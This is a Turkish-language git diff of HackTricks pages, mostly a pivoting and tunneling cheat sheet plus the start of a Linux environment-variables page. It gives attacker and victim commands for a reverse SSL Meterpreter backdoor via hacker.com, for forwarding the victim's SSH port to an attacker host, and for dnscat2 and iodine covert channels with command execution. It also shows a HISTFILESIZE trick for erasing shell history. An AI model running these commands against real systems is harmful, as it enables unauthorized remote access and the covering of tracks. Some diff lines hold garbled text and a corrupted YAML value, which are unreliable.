Bu yöntem, hedef sunucuya doğrudan erişim sağlanamadığı durumlarda kullanışlı olabilir. Ancak, socks proxy sunucusunun güvenliği ve güvenilirliği önemlidir. Güvenilir olmayan bir socks proxy sunucusu kullanmak, trafiğinizi kötü niyetli kişilerin elde etmesine neden olabilir. Bu nedenle, güvenilir bir socks proxy sunucusu kullanmanız önemlidir.
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### SSL Socat ile Meterpreter
Bu yöntemde, Meterpreter kabuğunu hedef sistemdeki bir bağlantı noktasına yönlendirmek için SSL Socat kullanılır. Bu, ağ trafiğini şifrelemek için SSL/TLS protokolünü kullanır ve güvenli bir iletişim kanalı sağlar.
#### Adım 1: SSL Sertifikası Oluşturma
Öncelikle, SSL sertifikası oluşturmanız gerekmektedir. Bu sertifika, SSL Socat'ın güvenli bir bağlantı sağlamak için kullanacağı bir anahtar ve sertifika çiftidir. Aşağıdaki komutu kullanarak bir sertifika oluşturabilirsiniz:
```plaintext
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
```
#### Adım 2: SSL Socat'ı Başlatma
SSL Socat'ı başlatmak için aşağıdaki komutu kullanabilirsiniz:
```plaintext
socat OPENSSL-LISTEN:443,cert=certificate.pem,key=key.pem,fork TCP4:127.0.0.1:4444
```
Bu komut, SSL Socat'ı 443 numaralı bağlantı noktasında dinlemeye başlar ve gelen bağlantıları 4444 numaralı bağlantı noktasına yönlendirir.
#### Adım 3: Meterpreter'ı Başlatma
Son olarak, Meterpreter kabuğunu başlatmak için aşağıdaki komutu kullanabilirsiniz:
```plaintext
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit
```
Bu komutlar, Meterpreter'ı dinlemek için bir exploit/handler modülü kullanır ve hedef sistemdeki 4444 numaralı bağlantı noktasına geri dönüşlü bir TCP bağlantısı oluşturur.
Artık hedef sistemdeki bir bağlantı noktasına yönlendirilen Meterpreter kabuğuna SSL Socat üzerinden güvenli bir şekilde erişebilirsiniz.
### SSL üzerinden Meterpreter ile Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -371,11 +286,11 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
**Non yetkilendirilmiş bir proxy**'yi atlamak için, kurbanın konsolunda son yerine bu satırı çalıştırabilirsiniz:
Kurbanın konsolunda son yerine bu satırı çalıştırarak **kimlik doğrulaması yapılmamış bir proxy**'yi atlayabilirsiniz:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/socat-ve-metasploit-ile-ters-ssl-backdoor/](https://funoverip.net/2011/01/socat-ve-metasploit-ile-ters-ssl-backdoor/)
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tüneli
@ -397,7 +312,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
```
### Uzaktan Port2Port
Yerel SSH bağlantı noktasını (22) saldırganın ana bilgisayarının 443 bağlantı noktasına bağlayın.
Yerel SSH portunu (22) saldırganın ana bilgisayarının 443 portuna bağlayın
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -405,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
Bu, bir konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisiyle çok benzerdir).
Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisine çok benzer).
Bu ikili, kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantıya sahip olabilmek için ssh hizmetimizi ve bağlantı noktasını açmamız gerekmektedir. Ardından, yalnızca yerel olarak erişilebilen bir bağlantı noktasını makinedeki bir bağlantı noktasına yönlendirmek için:
Bu ikili, kurbanın bilgisayarında çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantıya sahip olabilmek için ssh hizmetimizi ve bağlantı noktamızı açmamız gerekmektedir. Ardından, yalnızca yerel olarak erişilebilen bağlantı noktasını makinedeki bir bağlantı noktasına yönlendirmek için:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -426,41 +341,41 @@ netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
## SocksOverRDP ve Proxifier
Sisteme **RDP erişimi** sahip olmanız gerekmektedir.\
**Sistemin üzerinden RDP erişimine** ihtiyacınız var.\
İndirin:
1. [SocksOverRDP x64 İkili Dosyaları](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinin `Dinamik Sanal Kanallarını` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünelleme** işleminden sorumludur.
1. [SocksOverRDP x64 İkili Dosyaları](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **paketleri RDP bağlantısı üzerinden tünelleme**den sorumludur.
2. [Proxifier Taşınabilir İkili Dosyası](https://www.proxifier.com/download/#win-tab)
İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin:
İstemci bilgisayarınıza şu şekilde **`SocksOverRDP-Plugin.dll`** yükleyin:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz** ve **etkinleştirilmiş** olan **SocksOverRDP eklentisi** tarafından **dinlenecek** olan **127.0.0.1:1080** adresinde bir **uyarı** almalıyız.
Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz** ve **SocksOverRDP eklentisinin etkinleştirildiğine** dair bir **uyarı** almalıyız ve **127.0.0.1:1080** üzerinde **dinleyecektir**.
**RDP** üzerinden **bağlanın** ve **hedef makineye** `SocksOverRDP-Server.exe` ikili dosyasını **yükleyip çalıştırın**:
**RDP** üzerinden **bağlanın** ve **hedef makinede** `SocksOverRDP-Server.exe` ikili dosyasını **yükleyip çalıştırın**:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Şimdi, saldırgan makinenizde (saldırgan) 1080 portunun dinlendiğini doğrulayın:
Şimdi, (saldırgan) makinenizde 1080 numaralı portun dinlemede olduğunu doğrulayın:
```
netstat -antb | findstr 1080
```
Artık [**Proxifier**](https://www.proxifier.com/) kullanarak trafiği o porta proxy yapabilirsiniz.
Şimdi o trafiği o bağlantı noktası üzerinden vekil sunucu aracılığıyla yönlendirmek için [**Proxifier**](https://www.proxifier.com/) **kullanabilirsiniz.**
## Windows GUI Uygulamalarını Proxy ile Yönlendirme
## Windows GUI Uygulamalarını Vekil Yapma
Windows GUI uygulamalarını [**Proxifier**](https://www.proxifier.com/) kullanarak proxy üzerinden yönlendirebilirsiniz.\
**Profil -> Proxy Sunucuları** bölümünde SOCKS sunucusunun IP ve portunu ekleyin.\
**Profil -> Proxification Kuralları** bölümünde proxify yapmak istediğiniz programın adını ve proxify yapmak istediğiniz IP'lere olan bağlantıları ekleyin.
Windows GUI uygulamalarını bir vekil sunucu aracılığıyla gezinmek için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\
**Profil -> Vekil Sunucular** bölümüne SOCKS sunucusunun IP'sini ve bağlantı noktasını ekleyin.\
**Profil -> Vekillik Kuralları** bölümüne vekilleştirmek istediğiniz programın adını ve vekilleştirmek istediğiniz IP'lerin bağlantılarını ekleyin.
## NTLM proxy atlatma
## NTLM vekil atlatma
Önceden bahsedilen araç: **Rpivot**\
**OpenVPN** de bunu atlayabilir, yapılandırma dosyasında aşağıdaki seçenekleri ayarlayarak:
**OpenVPN** ayrıca bunu atlayabilir, yapılandırma dosyasında şu seçenekleri ayarlayarak:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -468,7 +383,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Bu, bir proxyye kimlik doğrulaması yapar ve belirttiğiniz harici hizmete yönlendirilen yerel bir bağlantı noktası oluşturur. Ardından, bu bağlantı noktası üzerinden istediğiniz aracı kullanabilirsiniz.\
Bu, bir proxy'e kimlik doğrulaması yapar ve belirttiğiniz harici hizmete yönlendirilen yerel bir bağlantı noktası bağlar. Daha sonra, bu bağlantı noktası aracılığıyla istediğiniz aracı kullanabilirsiniz.\
Örneğin, 443 numaralı bağlantı noktasını yönlendirir.
```
Username Alice
@ -477,12 +392,12 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız, saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilirsiniz ve saldırgan 2222 numaralı portu dinliyor olmalıdır.
Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız, saldırgan 2222 numaralı porta bağlanabilir.\
Ayrıca localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı porta dinler.
## YARP
Microsoft tarafından oluşturulan bir ters proxy. Burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Microsoft tarafından oluşturulan bir ters proxy. [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) adresinde bulabilirsiniz.
## DNS Tünellemesi
@ -490,13 +405,13 @@ Microsoft tarafından oluşturulan bir ters proxy. Burada bulabilirsiniz: [https
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
DNS sorgularını kullanarak tun adaptörleri oluşturmak ve veriyi aralarında tünellemek için her iki sistemde de kök yetkisi gereklidir.
DNS sorgularını kullanarak iki sistem arasında tüneller oluşturmak için her iki sistemde de kök erişimi gereklidir.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Tünel çok yavaş olacak. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz. Bunun için şunu kullanabilirsiniz:
Tünel çok yavaş olacak. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -504,7 +419,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
[**Buradan indirin**](https://github.com/iagox86/dnscat2)**.**
DNS üzerinden bir C\&C kanalı oluşturur. Root yetkisi gerektirmez.
DNS üzerinden bir C\&C kanalı oluşturur. Kök izinlerine ihtiyaç duymaz.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -513,7 +428,7 @@ victim> ./dnscat2 tunneldomain.com
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **PowerShell ile**
#### **PowerShell'de**
PowerShell'de bir dnscat2 istemcisini çalıştırmak için [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kullanabilirsiniz:
```
@ -521,62 +436,26 @@ Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **dnscat ile port yönlendirme**
Port forwarding is a technique used to redirect network traffic from one port on a host to another port on a different host. It is commonly used in situations where direct communication between two hosts is not possible or desired.
Dnscat is a tool that allows you to create a covert communication channel by encapsulating data within DNS queries and responses. It can be used for various purposes, including port forwarding.
To perform port forwarding with dnscat, follow these steps:
1. Install dnscat on both the client and server machines. You can find the installation instructions in the dnscat documentation.
2. Start the dnscat server on the machine that will receive the forwarded traffic. Use the following command:
```
dnscat2 --dns <DNS_SERVER_IP>
```
Replace `<DNS_SERVER_IP>` with the IP address of the DNS server you want to use.
3. Start the dnscat client on the machine that will send the traffic. Use the following command:
```
dnscat2 --dns <DNS_SERVER_IP> --dns-port <DNS_SERVER_PORT> --session <SESSION_NAME>
```
Replace `<DNS_SERVER_IP>` with the IP address of the DNS server, `<DNS_SERVER_PORT>` with the port number of the DNS server, and `<SESSION_NAME>` with a name for the session.
4. On the client machine, create a port forward by running the following command:
```
portfwd add <LOCAL_PORT> <REMOTE_HOST> <REMOTE_PORT>
```
Replace `<LOCAL_PORT>` with the local port number you want to forward, `<REMOTE_HOST>` with the IP address or hostname of the remote host, and `<REMOTE_PORT>` with the port number on the remote host.
5. Test the port forward by connecting to the local port on the client machine. The traffic will be forwarded to the remote host.
Port forwarding with dnscat can be a useful technique in situations where traditional port forwarding methods are blocked or restricted. However, it is important to note that dnscat may raise suspicion and trigger security alerts, so it should be used responsibly and with caution.
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Proxychains DNS'ini değiştirme
#### Proxychains DNS'ini Değiştirme
Proxychains, `gethostbyname` libc çağrısını onaylar ve tcp DNS isteğini socks proxy üzerinden tüneller. Proxychains'in **varsayılan olarak** kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Bunun değiştirmek için, _/usr/lib/proxychains3/proxyresolv_ dosyasını düzenleyin ve IP'yi değiştirin. Eğer bir **Windows ortamında** iseniz, **etki alanı denetleyicisinin** IP'sini ayarlayabilirsiniz.
Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini socks proxy üzerinden tünel oluşturur. **Varsayılan olarak**, proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Bunun değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamında** iseniz, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz.
## Go'da Tüneller
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP Tünelleme
## ICMP Tünellemesi
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Her iki sistemde de tun adaptörleri oluşturmak ve ICMP echo isteklerini kullanarak veri tünelleri oluşturmak için kök yetkisi gereklidir.
Her iki sistemde de tun adaptörleri oluşturmak ve ICMP echo isteklerini kullanarak aralarında veri tünellemek için kök yetkisi gereklidir.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -600,8 +479,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/) bir komut satırıyla çözümleri internete açmak için bir araçtır.**
*Expozisyon URI'leri şu şekildedir:* **UID.ngrok.io**
**[ngrok](https://ngrok.com/) bir komut satırında internete çözümleri açığa çıkarmak için bir araçtır.**
*ığa çıkarma URI'leri şuna benzer:* **UID.ngrok.io**
### Kurulum
@ -615,9 +494,9 @@ chmod a+x ./ngrok
```
### Temel kullanımlar
**Dökümantasyon:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
**Belgelendirme:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*Gerekirse kimlik doğrulama ve TLS de eklemek mümkündür.*
*Mevcut durumda gerekliyse kimlik doğrulama ve TLS eklemek de mümkündür.*
#### TCP Tünellemesi
```bash
@ -627,45 +506,17 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### HTTP ile dosyalarıığa çıkarma
HTTP, web sunucuları aracılığıyla dosyalara erişmek için kullanılan bir protokoldür. Bu protokolü kullanarak, hedef sunucudaki dosyalara erişebilir ve bu dosyaları indirebilirsiniz. Aşağıda, HTTP kullanarak dosyalarıığa çıkarmak için kullanılan bazı yöntemler bulunmaktadır:
##### 1. Directory Listing (Dizin Listeleme)
Bir web sunucusunda, dizin listeleme özelliği etkinse, sunucunun kök dizinindeki tüm dosyaları ve alt dizinleri listeleyebilirsiniz. Bu, sunucuda bulunan gizli veya hassas dosyaları keşfetmek için kullanışlı olabilir.
##### 2. File Inclusion (Dosya Dahil Etme)
Bazı web uygulamaları, kullanıcı tarafından belirtilen dosyaları dahil etmek için dinamik olarak dosya yollarını oluşturur. Bu durumda, hedef sunucuda bulunan dosyalara erişmek için bu zafiyeti kullanabilirsiniz.
##### 3. Backup Files (Yedek Dosyalar)
Web sunucularında, yedekleme dosyaları genellikle kök dizinde veya alt dizinlerde bulunur. Bu yedek dosyaları kullanarak, sunucuda bulunan eski veya silinmiş dosyalara erişebilirsiniz.
##### 4. Log Files (Günlük Dosyaları)
Web sunucuları genellikle günlük dosyalarını tutar. Bu günlük dosyaları, sunucuda yapılan işlemleri ve hatta hassas bilgileri içerebilir. Bu dosyaları kullanarak, sunucuda bulunan bilgilere erişebilirsiniz.
##### 5. Configuration Files (Yapılandırma Dosyaları)
Web sunucuları, yapılandırma dosyalarında sunucu ayarlarını ve diğer önemli bilgileri saklar. Bu dosyalara erişerek, sunucunun yapılandırmasını inceleyebilir ve potansiyel zafiyetleri keşfedebilirsiniz.
##### 6. Source Code (Kaynak Kodu)
Bazı durumlarda, web sunucuları kaynak kodlarını sunar. Bu kaynak kodları, web uygulamasının çalışma mantığını ve potansiyel zafiyetleri anlamak için kullanılabilir.
Bu yöntemler, hedef sunucuda bulunan dosyalara erişmek ve potansiyel zafiyetleri keşfetmek için kullanılabilir. Ancak, bu işlemleri gerçekleştirirken yasalara ve etik kurallara uymak önemlidir.
#### HTTP ile dosyaların açığa çıkarılması
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### HTTP çağrılarını Sniffleme
#### HTTP çağrılarını dinleme
*XSS, SSRF, SSTI için kullanışlıdır...*
Doğrudan stdout'dan veya HTTP arayüzünde [http://127.0.0.1:4040](http://127.0.0.1:4000) adresinden yapılabilir.
Doğrudan stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) adresinden erişilebilir.
#### İç HTTP servisini Tünelleme
#### Dahili HTTP servisine tünel oluşturma
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -676,12 +527,12 @@ Doğrudan stdout'dan veya HTTP arayüzünde [http://127.0.0.1:4040](http://127.0
3 tünel açar:
- 2 TCP
- /tmp/httpbin/ dizininden statik dosyaların sunumuyla 1 HTTP
- 1 HTTP, /tmp/httpbin/ dizininden statik dosyaların sunumu ile
```yaml
tunnels:
mytcp:
addr: 4444
proto: tcp
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
@ -694,14 +545,22 @@ addr: file:///tmp/httpbin/
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,36 +2,44 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Global değişkenler
Global değişkenler **alt süreçler** tarafından **miras alınır**.
Global değişkenler **çocuk işlemler tarafından miras alınacaktır**.
Mevcut oturumunuz için bir global değişken oluşturabilirsiniz:
```bash
export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world
```
Bu değişken mevcut oturumunuz ve onun alt süreçleri tarafından erişilebilir olacak.
Bu değişken mevcut oturumlarınız ve onun alt süreçleri tarafından erişilebilir olacaktır.
Bir değişkeni **kaldırmak** için şunu yapabilirsiniz:
Değişkeni **kaldırmak** için şunu yapabilirsiniz:
```bash
unset MYGLOBAL
```
## Yerel değişkenler
**Yerel değişkenler**, yalnızca **geçerli kabuk/yazılım** tarafından **erişilebilir**.
**Yerel değişkenler** yalnızca **mevcut kabuk/senkron** tarafından **erişilebilir**.
```bash
LOCAL="my local"
echo $LOCAL
@ -39,13 +47,9 @@ unset LOCAL
```
## Mevcut değişkenleri listele
To list the current environment variables in Linux, you can use the following command:
```bash
printenv
```
This command will display a list of all the environment variables currently set in your Linux system.
```bash
set
env
@ -57,55 +61,55 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
Kaynak: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** - **X** tarafından kullanılan ekran. Bu değişken genellikle mevcut bilgisayardaki ilk ekran olan **:0.0** olarak ayarlanır.
* **EDITOR** - kullanıcının tercih ettiği metin düzenleyici.
* **HISTFILESIZE** - geçmiş dosyasında bulunan satır sayısının maksimum değeri.
* **HISTSIZE** - Kullanıcı oturumunu bitirdiğinde geçmiş dosyasına eklenen satır sayısı.
* **HOME** - ev dizininiz.
* **HOSTNAME** - bilgisayarın ana bilgisayarı.
* **LANG** - mevcut diliniz.
* **MAIL** - kullanıcının posta spool'unun konumu. Genellikle **/var/spool/mail/USER**.
* **MANPATH** - man sayfalarını aramak için kullanılan dizinlerin listesi.
* **OSTYPE** - işletim sistemi türü.
* **PS1** - bash'teki varsayılan komut istemi.
* **PATH** - yürütmek istediğiniz ikili dosyaların bulunduğu tüm dizinlerin yolu. Dosyanın adını belirtmek için göreli veya mutlak yol kullanmadan yürütmek istediğiniz ikili dosyaların bulunduğu tüm dizinlerin yolu.
* **PWD** - mevcut çalışma dizini.
* **SHELL** - geçerli komut kabuğunun yolu (örneğin, **/bin/bash**).
* **TERM** - mevcut terminal türü (örneğin, **xterm**).
* **TZ** - zaman diliminiz.
* **USER** - mevcut kullanıcı adınız.
* **DISPLAY** **X** tarafından kullanılan ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekrandır.
* **EDITOR** kullanıcının tercih ettiği metin düzenleyici.
* **HISTFILESIZE** geçmiş dosyasında bulunan satırların maksimum sayısı.
* **HISTSIZE** Kullanıcı oturumu sona erdiğinde geçmiş dosyasına eklenen satır sayısı
* **HOME** ev dizininiz.
* **HOSTNAME** bilgisayarın ana bilgisayarı.
* **LANG** mevcut diliniz.
* **MAIL** kullanıcının posta havuzunun konumu. Genellikle **/var/spool/mail/USER**.
* **MANPATH** kılavuz sayfalarını aramak için kullanılan dizinlerin listesi.
* **OSTYPE** işletim sistemi türü.
* **PS1** bash'teki varsayılan komut istemi.
* **PATH** yürütmek istediğiniz ikili dosyaların bulunduğu tüm dizinlerin yolunu saklar, dosyanın adını belirterek yürütmek için göreli veya mutlak yol belirtmek zorunda kalmazsınız.
* **PWD** mevcut çalışma dizini.
* **SHELL** geçerli komut kabuğunun yolu (örneğin, **/bin/bash**).
* **TERM** mevcut terminal türü (örneğin, **xterm**).
* **TZ** zaman diliminiz.
* **USER** mevcut kullanıcı adınız.
## Sızma testi için ilginç değişkenler
## Hackleme için ilginç değişkenler
### **HISTFILESIZE**
Bu değişkenin **değerini 0** olarak değiştirin, böylece **oturumunuzu sonlandırdığınızda** geçmiş dosyası (\~/.bash\_history) **silinir**.
Bu değişkenin **değerini 0 olarak değiştirin**, böylece oturumunuzu sonlandırdığınızda geçmiş dosyası (\~/.bash\_history) **silinecektir**.
```bash
export HISTFILESIZE=0
```
### **HISTSIZE**
